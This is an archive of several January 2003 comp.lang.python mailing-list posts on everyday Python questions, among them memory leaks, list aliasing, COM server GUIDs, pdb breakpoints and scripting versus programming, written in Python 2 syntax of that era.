References: <KfdTAjAXSbF+EwYH@jessikat.demon.co.uk> <m3vg16nf4s.fsf@mira.informatik.hu-berlin.de> <7GMPWjARjiF+EwvH@jessikat.fsnet.co.uk>
Message-ID: <m3ptrd3ftw.fsf@mira.informatik.hu-berlin.de>

Robin Becker <robin at jessikat.fsnet.co.uk> writes:

> this leak is present with 1.52 so it's not a function of 2.2/gc. Are you
> saying there are cycles/leaks that are not caught by inspecting toplevel
> module variables?

"There are" is a big general here. It is certainly possible to have
such leaks; a simple error in INCREF/DECREF could easily trigger such
problems. Of course, the Python core never should have such leaks, and
likely has none that have survived since 1.5.2.

However, there are other causes of memory consumption, too, for
example lists that grow longer and longer without ever being part of a
cycle.

The most notable such thing is the dictionary of interned strings,
which isn't even reachable through a module level variable. This is by
design; this design will change only in Python 2.3 (where interned
strings become mortal).

If you meant "toplevel module" literally, then there are certainly way
more things unreachable: unless sys is imported, you won't find
sys.modules from the toplevel module. 

Even if you add sys.modules to your object roots, there are still
unreachable non-garbage objects: C modules may hold them in global
variables, and not expose them. There are many such cases in Python
1.5.2, and still a lot in newer versions (although more and more
objects get exposed in more recent releases).

Regards,
Martin




From antonmuhin at rambler.ru  Fri Jan 31 09:21:27 2003
From: antonmuhin at rambler.ru (=?ISO-8859-1?B?YW50b25tdWhpbiDt4CByYW1ibGVyLnJ1?=)
Date: Fri, 31 Jan 2003 17:21:27 +0300
Subject: A puzzle for Pythonistas
In-Reply-To: <b68f71a7.0301310459.31539d3c@posting.google.com>
References: <b68f71a7.0301310459.31539d3c@posting.google.com>
Message-ID: <5516203309.20030131172127@rambler.ru>

Hello, Alan!

I'm by no means an expert, but here what I can suggest:

from __future__ import generators

def indices(seq):
    """get all the indices for sequence, just a shortcut"""
    for i in range(len(seq)):
        yield i

def subsets(n):
    """generate all the subsets (by indices) for n-set"""
    isInSubset = [0]*n
    yield []
    
    while 1:
        for i in indices(isInSubset):
            if isInSubset[i] == 0:
                isInSubset[i] = 1
                break
            else:
                isInSubset[i] = 0
        else:
            raise StopIteration
            
        yield [i for i in indices(isInSubset) if isInSubset[i] == 1]
        
def problem(l):
    for indices in subsets(len(l)):
        part = [l[i] for i in indices]
        if len(part) > 1:
            print part
        
if __name__ == "__main__":
    problem(range(4))

HTH,
Anton.





From eddie at holyrood.ed.ac.uk  Fri Jan 17 13:07:43 2003
From: eddie at holyrood.ed.ac.uk (Eddie Corns)
Date: Fri, 17 Jan 2003 18:07:43 +0000 (UTC)
Subject: MIB parser for documentation
References: <3E282668.3010807@netscape.net>
Message-ID: <b09gpf$1i2$1@scotsman.ed.ac.uk>

Juan Diaz <jfda1971 at netscape.net> writes:

>I'm looking for a python MIB parser to automatically generate tables 
>that are easy to paste into a Word or WordPerfect document.  Does anyone 
>knows about one ?

Since all you want is the output why do you care if it's written in Python?
I don't think there is a Python one specifically, I think at least one of the
SNMP projects claims to be working on one but I'm not going to hold my
breath.  If you really do want Python functionality you may be able to use
something like libsmi (http://www.ibr.cs.tu-bs.de/projects/libsmi/) - the MIB
compiler can generate XML which you can parse with Python or it can apparently
even generate Python dicts (though I haven't tried it and don't know what you
actually get).  Libsmi is one of the better known (and trusted) packages but
I'm sure there's others with similar functionality.

Actually, I'm not really sure what you mean by 'tables' - MIB compilers etc.
are still a bit of a mystery to me so I may have misunderstood what you're
looking for.

Eddie



From gerhard.haering at opus-gmbh.net  Tue Jan 14 11:22:46 2003
From: gerhard.haering at opus-gmbh.net (Gerhard =?iso-8859-1?Q?H=E4ring?=)
Date: 14 Jan 2003 16:22:46 GMT
Subject: Check for file access
References: <9f363ad9.0301140656.29fe0838@posting.google.com>
Message-ID: <slrnb28e2v.1ek.gerhard.haering@haering.opus-gmbh.net>

Brian Bull <bbull at pathfire.com> wrote:
> I am writing a daemon to monitor file uploads and mirror the files to
> another server once they have been uploaded.  The files will be
> uploaded via Windows filesharing onto my Redhat server that is running
> Samba.  How can I tell when the file is complete and is ready for
> copying? [...]

What about a very simple scheme:

The Windows server uploads the CD image with the file name FN.  Once
finished, it writes a file FN.finished

> I am using a kernel module called 'changedfiles' that alerts me when a
> file is changed. [...]

Just FYI: There's also library called FAM (File Access Monitoring) for
which Python bindings are available.

Gerhard
-- 
Gerhard H?ring
OPUS GmbH M?nchen
Tel.: +49 89 - 889 49 7 - 32
http://www.opus-gmbh.net/



From dsavitsk at e-coli.net  Thu Jan 16 01:29:50 2003
From: dsavitsk at e-coli.net (dsavitsk)
Date: Thu, 16 Jan 2003 06:29:50 GMT
Subject: Warning! Newbie issue - Impersonating a user on Win32
References: <mailman.1042650398.19724.python-list@python.org>
Message-ID: <yjsV9.8186$qU5.6249306@newssrv26.news.prodigy.com>

"Doug Glenn" <dglenn at charter.net> wrote in message
news:mailman.1042650398.19724.python-list at python.org...
> Greetings,
>
> I have run into a roadblock and I cannot figure it out :(
* * *
> Exception: pywintypes.api_error (1314, 'LogonUser', 'A
> required privilege is not held by the client.').

My experience with win2k is that no one that I have talked to has ever
gotten this to work correctly.  I spent a fair amount of time in VB and VC
newsgroups searching for a fix and never found one that worked.  I also
iterated with Mark H., but he was busy at the time and could not provide a
fix.  I have not, however, tried this on either XP or NT, so I don't know if
it is a 2k issue or a win32 issue.  Most people seemed to think it was
matter of setting the proper permissions and then calling the functions
correctly.

I do remember seeing some posts claiming that MS's own su.exe which relied
on this api was buggy, but i cannot attest to the verasity of these
comments.

If you do find a fix, please post it as I for one would be very excited.  I
have a portion of a program (that is supposed to self registed its COM
objects to make upgrades easier) that is sitting idle in wait for a fix.

-doug





From jbperez808 at yahoo.com  Tue Jan 14 18:44:53 2003
From: jbperez808 at yahoo.com (Jonathan P.)
Date: 14 Jan 2003 15:44:53 -0800
Subject: references / aliases in Python
Message-ID: <f57664b9.0301141544.1f797188@posting.google.com>

In:

http://www.python.org/cgi-bin/faqw.py?req=show&file=faq06.031.htp

I couldn't exactly follow Steve Holden's example:

    function(args).dict[index][index].a = 21
    function(args).dict[index][index].b = 42
    function(args).dict[index][index].c = 63

But the idea of references did get through because I was 
trying to do something similar.  I was wondering if there 
was a way to get true references in Python ala below:

>>> class A: 
      def __init__(self):
        self.long_name1=5
        self.long_name2=15
      def f1(self):
        ref1=&self.long_descriptive_name1  # hypothetical address-of operator
        ref2=&self.long_descriptive_name2
        if (*ref1)>(*ref2)+1: (*ref1)=(*ref2) 
        # hypothetical dereference operator

replacing the long and rather unreadable (in practice it often
gets much worse than shown below):
 
      if self.long_descriptive_name1>self.long_descriptive_name2+1: 
          self.long_descriptive_name1=self.long_descriptive_name2

Is there a way to get aliases without having to add a pointer 
type + referencing / dereferencing operators to Python?  What
exactly is the Python philosophy regarding pointer types and 
referencing / dereferencing?



From hancock at anansispaceworks.com  Wed Jan  8 15:54:17 2003
From: hancock at anansispaceworks.com (Terry Hancock)
Date: Wed, 08 Jan 2003 20:54:17 GMT
Subject: Novel Thoughts on Scripting and Languages
References: <52719db8.0301062130.5299a0ff@posting.google.com> <3e1b2565$0$213$a1866201@newsreader.visi.com> <52719db8.0301071948.71364a03@posting.google.com> <mailman.1042039696.8976.python-list@python.org>
Message-ID: <Zd0T9.162$Dq.12687@newsread2.prod.itd.earthlink.net>

Dave Brueck wrote:
> So what do consider to be scripting versus programming and in what way
> does it matter? If Judoscript is simply a way to do Java stuff without
> having to go through an explicit compile step, then cool, more power to
> you. But if, as your site implies, there is additional value there that
> might be useful to me (above and beyond Python and similar languages),
> then help me understand what it is (note that simply asserting "it's
> better!" doesn't really help).

Just in the interest of adding gasoline to the flame... ;-D

I think it's "scripting" if it relies heavily on external applications, 
which you call more or less directly.  This is especially true if you use 
the operating system's help to make the call (as in using a well-defined 
"command line" within the program, as opposed to a function call -- just 
about any use of os.system() is going to be "scripting" IMHO).

On the other hand, it's programming when you use a library (or module) 
which is specifically designed to work with your programming language, and 
provide an appropriate API.

Of course, this is a fuzzy definition, and one can easily write a module 
which actually accomplishes its work by scripting, so that the module is 
"scripting", but the calling program is a "program", using a well-defined 
API.

An alternative definition that seems to fit my usage is that "scripting" is 
relatively unstructured, bricolage of code, while "programming" is 
engineered according to some basic paradigm (like "object-oriented", 
"functional", or simply "structured").  Of course, once again, this is a 
fuzzy definition -- level of organization of a program is a matter of 
degree.  In fact, I think I like this definition better.

I also think of "scripts" as being rather platform (or even specific 
computer dependent), whereas "programs" try to maximize portability. A 
consequence of this is that an "end user" probably has to edit a "script" 
to make use of it, but probably can use a "program" as is.

I also think, however, that using Python largely obviates the need to make 
any distinction between the two.  Except that, stylistically, it is 
sometimes useful to separate my "program" from "scripts" that are supposed 
to interact with it -- mainly because of the end-user issue: I need a way 
to semaphore to my user that they can mess with "config.py" all they want, 
but that getting into "Application.py" is probably bad news unless they 
really know what they're doing.  I usually try to acheive this through 
naming conventions, and/or directory structure. But I do find that using 
the same language for scripting and programming introduces some ambiguity 
at that level.

I'm curious whether other people have this problem, and what they do about 
it.

Curiously -- reading the subject line, this appears to be more on-topic 
than the lead post.  Hmmm.

Cheers,
Terry

-- 
Anansi Spaceworks
http://www.anansispaceworks.com



From johocus at zonnet.nl  Sun Jan 12 13:04:21 2003
From: johocus at zonnet.nl (jodocus)
Date: Sun, 12 Jan 2003 19:04:21 +0100
Subject: newbie installation problems
Message-ID: <pan.2003.01.12.19.04.20.891104.2151@zonnet.nl>

hi,

i am relatively new to python programming. Writing programs using standard
modules went very smooth for me and I am very enthousiastic about the
language (even more than I was about Perl when i learned that).

Today, I have been trying to install some extra packages (pygame and some
others) on my SuSE 7.3 installation (Python version 2.1.1) from the source
tarball. But when i run "python setup.py install", i get the following
error (with all of the packages i tried):

src/pygame.h:57: Python.h: No such file or directory

(of course, this error occurs in other files for other packages).

I checked, and there is no file named Python.h anywhere on my system. Is
there some component I should have installed?

thanks in advance for any help,

R.



From claird at lairds.com  Sat Jan  4 13:05:44 2003
From: claird at lairds.com (Cameron Laird)
Date: Sat, 04 Jan 2003 18:05:44 -0000
Subject: Compare Python with Perl for QA purpose
References: <mailman.1041696487.26472.python-list@python.org>
Message-ID: <v1e8jo5ukp2k0d@corp.supernews.com>

In article <mailman.1041696487.26472.python-list at python.org>,
Bjorn Pettersen <BPettersen at NAREX.com> wrote:
>> From: Amol Sonaikar [mailto:amol at kenati.com] 
>> 
>> Hi all
>> 
>> I am using Python to test the Our created  Command Line 
>> Interface. I would 
>> like to know whether Python will be better option to work on 
>> it or Perl. I 
>> guess the python users can very well elaborate on it.
>
>Isn't this the canonical use case for Expect, i.e. Tcl? Python has of
>course developed features in that direction to, although still not quite
>as polished from what I understand (never used them myself, i.e. this is
>hearsay <wink>). In any case, your question should probably be: "Is
>either Perl or Python close enough to Tcl/Expect functionality to test
>our CLI and do they have other properties that would make up for any
>lack of specific features?" The answer, of course, depends on what your
>requirements are...
>
>just-my-0.02-etc-etc'ly y'rs
>-- bjorn
>

Expect <URL: http://wiki.tcl.tk/Expect > is indeed the canon-
ical answer for test automation <URL: http://
www.gnu.org/software/dejagnu/ >.

I'm expert in Expect, and a big fan.  HOWEVER, its advantages
over Perl and Python are commonly overestimated (and underesti-
mated, in other directions, but that's a different story).
There are many QA situations where Expect has no significant
advantage over Perl and Python.

Mr. Petersen is also right in emphasizing that "QA of command-
line interface" leaves a lot of free variables.  At some point,
Mr. Sonaikar will need to decide whether a GUI for his automa-
tions is an advantage, whether his "Command Line Interface" 
does tty-mangling, what kind of portability he requires, what
synchronicity, concurrency, and timing issues he has, and so on.

General summary:  Python and Perl are roughly equally well suited
to the broad domain of QA.
-- 

Cameron Laird <Cameron at Lairds.com>
Business:  http://www.Phaseit.net
Personal:  http://phaseit.net/claird/home.html



From tjreedy at udel.edu  Thu Jan 30 02:00:46 2003
From: tjreedy at udel.edu (Terry Reedy)
Date: Thu, 30 Jan 2003 02:00:46 -0500
Subject: [ [ [] * y for y in range(3) ] * x for x in range(2) ]
References: <2463d77d.0301292034.1fdc47bd@posting.google.com> <eppstein-96744E.22015129012003@news.service.uci.edu>
Message-ID: <UMednd8uytEqU6WjXTWc3w@comcast.com>

"David Eppstein" <eppstein at ics.uci.edu> wrote in message
news:eppstein-96744E.22015129012003 at news.service.uci.edu...
> What's wrong with [[[]]*3]*2  ?

For the inner list, [[]]*3 is the same as [[] for y in range(3)].  For
the outer list, a second 'multiplication', as you must have just
forgotten, is a common newbie mistake leading to multiple references
to the *same* inner list and surprises like the following:

>>> a=[[[]]*3]*2
>>> a[0][0]=2
>>> a
[[2, [], []], [2, [], []]]

To have independent inner lists, each must be created separately.
>>> a = [[[]]*3,[[]]*3]
>>> a[0][0]=[2]
>>> a
[[[2], [], []], [[], [], []]]

More generally:
a = [[[]]*m for x in range(n)] # n rows of m empty lists.

Terry J. Reedy





From judoscript at hotmail.com  Wed Jan  8 11:03:10 2003
From: judoscript at hotmail.com (James Huang)
Date: 8 Jan 2003 08:03:10 -0800
Subject: Novel Thoughts on Scripting and Languages
References: <52719db8.0301062130.5299a0ff@posting.google.com> <x74r8lynz2.fsf@guru.mired.org> <52719db8.0301071950.33e1917e@posting.google.com> <x7wulgwa1g.fsf@guru.mired.org>
Message-ID: <52719db8.0301080803.3105438@posting.google.com>

Mike Meyer <mwm at mired.org> wrote in message news:<x7wulgwa1g.fsf at guru.mired.org>...
> judoscript at hotmail.com (James Huang) writes:
> 
> > > > Have you ever thought about scripting more areas, such
> > > > as SQL, XML, EJB, SGML, HTTP, E-mail and GUI, the way you
> > > > script OS commands, all at once? Think about it!
> > > I have. I've written in it. It's called Rexx. Where JudoScript is as
> > > much a multi-target scripting langauge as this article is novel, Rexx
> > > is the real McCoy.
> > Admittedly I'm no Rexx person.
> 
> In that case, you've missed the first true multitarget scripting
> language, and it's only been around for 20 years now. I'd say you
> failed to check on prior work properly.

You've mentioned multi-"target" twice now, and I need to do some
research on that. JudoScript is a tool for Java, so I checked Java
scripting languages and felt comfortable.

> 
> > Please see the examples in other replies. Thanks.
> 
> I only saw two. One looked like a fancy shell script. The other looked
> like a fancy sendmail script. I've never run into a sendmail that was
> enabled for Rexx, so the point is sort of moot.
> 
> As others have mentioned, you can do this kind of thing with VBA. On
> Unix, you can do it with CORBA. The real measure of the power of this
> approach is how many applications will support what you're doing.
> 

Actually it is not VBA or CORBA, it is object model.

Object orientation gives two benefits, the first is better software
engineering (high degree of reusability), and subsequently the second
is scriptability. That's why Java (for that matter, Python as well) is
a dream platform since its objects can be programmed (in Java) and
scripted (in JudoScript, Jython, BeanShell, Rhino, Jacl, ...). On
Windows, MS had to add such "innovations" to their OLE/COM stuff to
make "ActiveX" that is totally scriptable (VBA, JScript, now Python
and JudoScript).

> Unix, you can do it with CORBA. The real measure of the power of this
> approach is how many applications will support what you're doing.

Again, let me limit the scope to Java, and there is no upper boundary
as long as the designer is capable of handling.

> The magic of (A)Rexx was that adding a simple interface to any
> application that supported a command line interface was trivial, and
> instantly gave you the ability to script the application with a
> full-blown programming language. Making the application a server and
> allowing things to connect to it was harder, but so useful that many
> applications did it.
> 

In Java, each object is a (mini) application. Any application is a
collection of objects. We don't even need a command-line interface for
that matter to use the magic of Rexx, do we? That's why Java is a
dream platform not only for scripting, but also programming as well!

> For instance, you talk about scripting in SQL. How many databases does
> it work with, and which ones? Of course, that's a bad example, because
> if I have to write SQL, then I'm not scripting, I'm programming.

No no, I saied "scripting SQL", like this:

  executeSQL {
    create table ...;
  }

  executeQuery qry:
    select Name from table;
  ;
  while qry.next() {
    println qry.Name;
  }

This is another important feature of Java -- JDBC. It's a standard
interface to almost all RDBMS's. What's significant is, every major
RDBMS vendor provide their own native JDBC driver, so you don't have
to worry about RDBMS support at all (of course, their SQL flavors are
still miles a part).

I used to work on a product support multiple RDBMS's; that crap had to
create its own db modules for OCI, DBLib and CTLib, Informix, Ingres,
... and eventually ODBC/CLI. Much like Java has shifted the burden of
supporting multiple platforms to a small of poor JVM porters, JDBC has
shifted the burdern of supporting multi-DB to a few wealthy RDBMS
vendors.

>
> How hard is it to add judoscript support to a random application, and
> how much overhead does it add? Do I have to embed a java vm in the
> thing to use it? What advantage does it give me over doing a CORBA
> interface - see <URL: http://www.mired.org/home/mwm/scripting/ > for a
> bit on that - to make up for the loss of the ability to write scripts
> in any language with CORBA support? On Windows, you get to do the same
> comparison with ActiveX or whatever MS is calling their distributed
> object technology this month.

I sensed you are not quite into Java, but unfortunately I am all Java
now. I thought IBM is pretty big on Java, perhaps it's just because
IBM is big that makes IBM-Java look big?

> 
>         <mike

Cheers,
-James



From maxm at mxm.dk  Wed Jan 22 09:33:16 2003
From: maxm at mxm.dk (Max M)
Date: Wed, 22 Jan 2003 15:33:16 +0100
Subject: Newbie asks, how to get rid of the last four characters of a
 string?
In-Reply-To: <pan.2003.01.22.14.22.46.534199@yahoo.com>
References: <pan.2003.01.22.14.22.46.534199@yahoo.com>
Message-ID: <3E2EABAC.9030704@mxm.dk>

Christopher Culver wrote:
> I'm somewhat new to Python and have run into this problem: I have a script
> whose first argument takes a MS Word file, which would end with .doc. I
> want to remove ".doc" and have just the file name without extension. Now,
> I know I can do this with regular expressions, but is there a function
> that can be used to chomp off the last four characters without having to
> import the re module?

You can just use a slice.

'filename.doc'[:-4]

 >>> filename

regards Max M


-- 

hilsen/regards Max M

http://www.futureport.dk/
Fremtiden, videnskab, skeptiscisme og transhumanisme




From jbperez808 at yahoo.com  Mon Jan 20 20:07:34 2003
From: jbperez808 at yahoo.com (Jonathan P.)
Date: 20 Jan 2003 17:07:34 -0800
Subject: iterating in reverse
References: <f57664b9.0301161546.37c85159@posting.google.com> <mailman.1042765110.10945.python-list@python.org> <f57664b9.0301170054.1c5fbe38@posting.google.com> <mailman.1042798054.23362.python-list@python.org>
Message-ID: <f57664b9.0301201707.1aca87a1@posting.google.com>

Chad Netzer <cnetzer at mail.arc.nasa.gov> wrote in message news:<mailman.1042798054.23362.python-list at python.org>...
> ~~~~~~~~~~~~~
> seq = "the quick brown fox jumped over the lazy dog"
> for i in xrange( len( seq ) ):
>    forward_iter = seq[i]
>    backward_iter = seq[-(i + 1)]
>    pass # do whatever you need
> ~~~~~~~~~~~~~
> 
> In this case, you don't copy or generate any new lists at all, so it 
> should be quite quick.

Chad, I think this is the best solution so far.
Clean and fast and _obvious_.  So much so that I'd 
like to kick myself for not coming up with that 
sooner. Sigh...



From nospam1 at acmecomm.net  Wed Jan  8 10:05:06 2003
From: nospam1 at acmecomm.net (Paul Smith)
Date: Wed, 08 Jan 2003 15:05:06 GMT
Subject: XML and Python
Message-ID: <C6XS9.23024$eB1.1059867@twister.southeast.rr.com>

Hi gang,
	I recently rediscovered Python, and I'm interested in using it for a 
project I'm embarking on. It involves a lot of XML/XSLT processing, and 
I'm trying to figure out which python XML module set/paradigm to 
concentrate on.
	Can anyone point me to a resource which compares and contrasts, and 
describes the interalationships between the many python XML packages out 
there? I've briefly looked through xmllib, 4Suite, libxml2, and PyXML, 
and found there's a lot of overlap and inbreeding. Anyone out there with 
experience using these various packages care to run down the 
virues/faults of each and balance ease-of-use vs. features?

--PS




From db3l at fitlinxx.com  Tue Jan 28 18:07:28 2003
From: db3l at fitlinxx.com (David Bolen)
Date: 28 Jan 2003 18:07:28 -0500
Subject: Novice question: Implementing COM Objects with Python
References: <cfd500a9.0301281415.7436900@posting.google.com>
Message-ID: <uisw8j2kv.fsf@fitlinxx.com>

rolfedh at hotmail.com (Rolfe) writes:

> I'm trying the code (see further down) from Mark Hammonds Python
> Programming on Win32, page 68, and get the following error:
> "Traceback (most recent call last):
>   File "C:\Python22\Lib\site-packages\Pythonwin\pywin\framework\scriptutils.py",
> line 301, in RunScript
>     exec codeObject in __main__.__dict__
>   File "C:\Python22\examples\SimpleCOMServer.py", line 4, in ?
>     class PythonUtilities:
>   File "C:\Python22\examples\SimpleCOMServer.py", line 8, in
> PythonUtilities
>     print pythoncom.CreateGuid()
> NameError: name 'pythoncom' is not defined
> >>> 
> "
> 
> What am I doing wrong? 

You need to have an "import pythoncom" somewhere in your code.  In the
example in the book the suggested use of pythoncom.CreateGuid() to
generate a new GUID is in comments and thus isn't executed.

However, from your code:

> Code:
> "
> ##SimpleCOMServer.py - a sample com server
> ##
> ##we expose a single method in a python com object
> class PythonUtilities:
>     _public_methods_ = [ 'SplitString' ]
>     _reg_progid_ = "PythonDemos.Utilities"
>     #NEVER copy the following ID
>     print pythoncom.CreateGuid()
>     #_reg_clsid_ = print.pythoncom.CreateGuid()
(...)

it sounds like you didn't quite understand the comment.  The function
CreateGuid() in the pythoncom module can be used to return a new GUID
in the form appropriate for use as the class id for an object (which
is what you assign to _reg_clsid_.  But you only need to call it once,
since each execution will assign a new unique value.

This is covered on page 71 in the discussion of Globally Unique
Identifiers.

So the suggested comment is to print out the result from the function
(presumably in the interactive interpreter) and then copy that value
into your code.

For example, working from an interactive interpreter:

    Python 2.2.2 (#37, Oct 14 2002, 17:02:34) [MSC 32 bit (Intel)] on win32
    Type "help", "copyright", "credits" or "license" for more information.
    >>> import pythoncom
    >>> print pythoncom.CreateGuid()
    <iid:{E37EB70A-7F46-4A0F-A3EA-1765E461A42F}>
    >>> print pythoncom.CreateGuid()
    <iid:{69F8A5C6-BC59-4BF6-990B-766CC44BFF23}>
    >>> 

Notice how the second call is a completely different value.  Just use
this each time you need a new object identifier (but then always use
that same value for that object), and cut 'n paste the portion within
the braces into your object source in lieu of the number given in the
example.

Of course, if you're just entering in the example to experiment with
it's perfectly ok to stick with the value in the book, since that
value was unique when it was generated for the book, and thus uniquely
represents the actual object from the book (not that the risk of
collision is high for such an example anyway, but GUIDs are cheap to
regenerate) :-)

--
-- David
-- 
/-----------------------------------------------------------------------\
 \               David Bolen            \   E-mail: db3l at fitlinxx.com  /
  |             FitLinxx, Inc.            \  Phone: (203) 708-5192    |
 /  860 Canal Street, Stamford, CT  06902   \  Fax: (203) 316-5150     \
\-----------------------------------------------------------------------/



From andrew at indranet.co.nz  Fri Jan 31 00:55:54 2003
From: andrew at indranet.co.nz (Andrew McGregor)
Date: Fri, 31 Jan 2003 18:55:54 +1300
Subject: Tab characters considered harmful (Was: Emacs has eaten my py	
 thon tabs!!!)
In-Reply-To: <B43D149A9AB2D411971300B0D03D7E8B02ADC522@natasha.auslabs.avaya.com>
References: <B43D149A9AB2D411971300B0D03D7E8B02ADC522@natasha.auslabs.avaya.
 com>
Message-ID: <1235960000.1043992554@localhost.localdomain>



--On Friday, January 31, 2003 16:23:55 +1100 "Delaney, Timothy" 
<tdelaney at avaya.com> wrote:

>> From: Mark Hadfield [mailto:m.hadfield at niwa.cri.nz]
>>
>> > Two different web sites link "golden syrup" and "treacle" as being
>> > equivalent.
>>
>> No, treacle is darker-coloured than golden syrup. In New
>> Zealand, anyway.
>
> That was what I thought too. Are the web sites you found Australian, Kiwi
> or US?
>
> Tim Delaney

I just went and looked in the kitchen.  Samples of Molasses, Treacle and 
Golden Syrup, in order from (very) dark to light.  Someone likes baking, 
don't they?

Andrew (from .nz)
-------------- next part --------------
A non-text attachment was scrubbed...
Name: not available
Type: application/pgp-signature
Size: 196 bytes
Desc: not available
URL: <http://mail.python.org/pipermail/python-list/attachments/20030131/3bc0b56e/attachment.sig>

From james.kew at btinternet.com  Tue Jan 28 19:00:09 2003
From: james.kew at btinternet.com (James Kew)
Date: Wed, 29 Jan 2003 00:00:09 -0000
Subject: Which exception to use?
References: <b16lui$j3s$1@bob.news.rcn.net>
Message-ID: <b175im$vjohh$1@ID-71831.news.dfncis.de>

Edward C. Jones wrote:
> Which exception is it best to use in the following pieces of code?
>
> if len(sys.argv) != 2:
>      raise SomeException, 'program requires exactly one argument'

How about SystemExit?

> if len(sometuple) != 3:
>      raise SomeException, 'sometuple must have length 3'
>
> I use TypeError or ValueError but they don't feel right.

I'd lean towards ValueError here: it seems to me the length of a tuple is
part of its value.

--
James Kew
james.kew at btinternet.com





From johnochiltree at blueyonder.co.uk  Tue Jan 28 17:03:31 2003
From: johnochiltree at blueyonder.co.uk (John Ochiltree)
Date: Tue, 28 Jan 2003 22:03:31 +0000
Subject: Python vs. C++ Builder - speed of development
References: <3e36d04e_2@news.vo.lu>
Message-ID: <T6DZ9.171$tf2.115@news-binary.blueyonder.co.uk>

I find that if I'm working in python I concentrate more on solutions to 
problems, whereas with c++ I tend to concentrate more on structure and 
architecture. However, that's not to say that my thinking is any more 
abstract in either language.

I wonder if there's a way of measuring what language encourages which way of 
thinking?

John Ochiltree



From ykingma at accessforall.nl  Mon Jan 27 11:34:30 2003
From: ykingma at accessforall.nl (Ype Kingma)
Date: Mon, 27 Jan 2003 17:34:30 +0100
Subject: java introduction for pythonistas
References: <20030127112513.GA671@matijek>
Message-ID: <3e3565f3$0$145$e4fe514c@dreader7.news.xs4all.nl>

Alex Polite wrote:

> 
> I've been working a few years with python. I'm  rather confident with
> basic OO design principles. Now some people that I consult for might
> be moving to Java. So I need to get up to speed with java. Are there
> any good documents out there for people with a python background
> coming to Java.

1) Give them Jython to revert to, and hope they'll only use Java for 
   performance critical things.
2) Thinking in Java by Bruce Eckel will answer all your questions
   extensively. It's not an introduction, but it allows you to
   work by looking up the answers to your questions, and it's free.
   See www.mindview.net/Books .

> I'm not so interested in syntactical questions (eg
> "this is how we construct a for loop in python and this is how we do it
> java") I'm more interested in OO design patterns that Java supports (I
> know that it supports interfaces for one thing) that are not readily
> available in python, and other important differences. Is it possible
> to define new classes, functions, methods in Java? Are there even unbound

Yes, no, yes.

> functions in Java? From the little I remember of that half Java

No, but you can have methods bound to a class instead of to an object.

> chapter I read years ago you have to define classes for everything
> even for a print statement? These are the kind of questions I have.

You can use System.println() in java.

Have fun,
Ype

-- 
email at xs4all.nl



From janeaustine50 at hotmail.com  Thu Jan  9 12:52:08 2003
From: janeaustine50 at hotmail.com (Jane Austine)
Date: 9 Jan 2003 09:52:08 -0800
Subject: python 2.3a1 pdb broken? or is it a feature?
Message-ID: <ba1e306f.0301090952.2a5fe0ba@posting.google.com>

I'm running python 2.3a1 on a Win32 machine.

pdb's behaviour seems to have been changed from 2.2*.

"user_call" method is added, and it's called automatically
for every function/method call when I set a breakpoint somewhere
else and "continue".

For example:

<foobar.py>
------------------------
def a():
    print "a..."
    b()
def b():
    print "b..."
    c()
def c():
    print "c..."

-------------------------
>>> pdb.run("a()")
...
(Pdb) b foobar:2
Breakpoint 1 at foobar.py:2
(Pdb) c
--Call--
> c:\...\foobar.py(1)a()
-> def a():
(Pdb) cont
> c:\...\foobar.py(2)a()
-> print "a..."
(Pdb) continue
a...
--Call--
> c:\...\foobar.py(4)b()
-> def b():
(Pdb) 

I desparately want to Continue.

Jane



From tjreedy at udel.edu  Wed Jan 29 11:51:46 2003
From: tjreedy at udel.edu (Terry Reedy)
Date: Wed, 29 Jan 2003 11:51:46 -0500
Subject: Browser front-end, python back-end
References: <fd5aa35c.0301280922.a952dc7@posting.google.com> <slrnb3dg7u.lr.lee@bad-bart.lcp.nrl.navy.mil> <b16jlp$fii$1@newsmaster.cc.columbia.edu> <877kcp6kp3.fsf@theasylum.dyndns.org> <mJycne7YFOFYaqujXTWcpw@comcast.com> <b17t3o$nnt$1@news.hananet.net> <z6acnU4WU6s4HaqjXTWc3w@comcast.com> <b183jj$ss8$1@news.hananet.net>
Message-ID: <RCGdnb2ezLxAmqWjXTWcpA@comcast.com>

"Changjune Kim" <juneaftn at REMOVETHIShanmail.net> wrote in message
news:b183jj$ss8$1 at news.hananet.net...
> > A downloaded Javascript or Shockwave game is literally a whole
> > different game.  But then the browser is being used as the engine
as
> > well as the user interface (in which case, one might just as well
use
> > something like PyGame).  It seemed to me that the OP was talking
about
> > a HTML-served image-map game with the browser serving as just the
UI.

> JavaScript and Servlet can be as thin as possible -- a sort of
proxy. The
> server side does the rest of the stuff. IOW, the server can update
the
> html(as in DOM) of the client's browser.

Then it is not a downloaded game.

Perhaps it is possible to write a servlet that gets the updated html
and *smoothly* updates the screen without jerking the image around.  I
do not know.

What I do know is that paid professional programmers at commercial
sites have written games that blink and jerk.  I was simply suggesting
to the OP that he not do the same.

Terry





From brian at sweetapp.com  Fri Jan 24 14:01:32 2003
From: brian at sweetapp.com (Brian Quinlan)
Date: Fri, 24 Jan 2003 11:01:32 -0800
Subject: Illegal literal or not?
In-Reply-To: <_RfY9.862$d66.98244@newsread1.prod.itd.earthlink.net>
Message-ID: <001f01c2c3db$028e75a0$21795418@dell1700>

> Is it possible to have Python produce the following literal output in
the
> interactive mode.
> '"Let's try this!", they said.'
> If so what is the Python statement. I've tried several ways
> and can't seem to produce it.  Thanks for the help.

>>> print """'"Let's try this!", they said.'"""
'"Let's try this!", they said.'
>>> print ''''"Let's try this!", they said.\''''
'"Let's try this!", they said.'
>>> print "'\"Let's try this!\", they said.'"
'"Let's try this!", they said.'
>>> print '\'"Let\'s try this!", they said.\''
'"Let's try this!", they said.'






From lyle at users.sourceforge.net  Tue Jan 21 11:45:40 2003
From: lyle at users.sourceforge.net (Lyle Johnson)
Date: Tue, 21 Jan 2003 10:45:40 -0600
Subject: looking for FXPy-examples
In-Reply-To: <3E2D6C64.EBF7D200@imms.de>
References: <3E2D6C64.EBF7D200@imms.de>
Message-ID: <3E2D7934.1070700@users.sourceforge.net>

Steffen Michael wrote:

> where could I find examples for the usage of the python to fox interface
> (FXPy)?

In the 'examples' subdirectory of the FXPy source code distribution.




From tbryan at python.net  Sun Jan 12 10:19:05 2003
From: tbryan at python.net (Tom Bryan)
Date: Sun, 12 Jan 2003 15:19:05 GMT
Subject: Python for CGI is dead?
References: <cb035744.0301120614.3b19d223@posting.google.com>
Message-ID: <JHfU9.41220$eB1.1737076@twister.southeast.rr.com>

Will Stuyvesant wrote:

> I am spending rather much time trying to build a project using CGI
> scripts written in Python.  But am I wasting my time?  


No.

> and none free (except a french one that I
> can not register into) for Python CGI scripts!

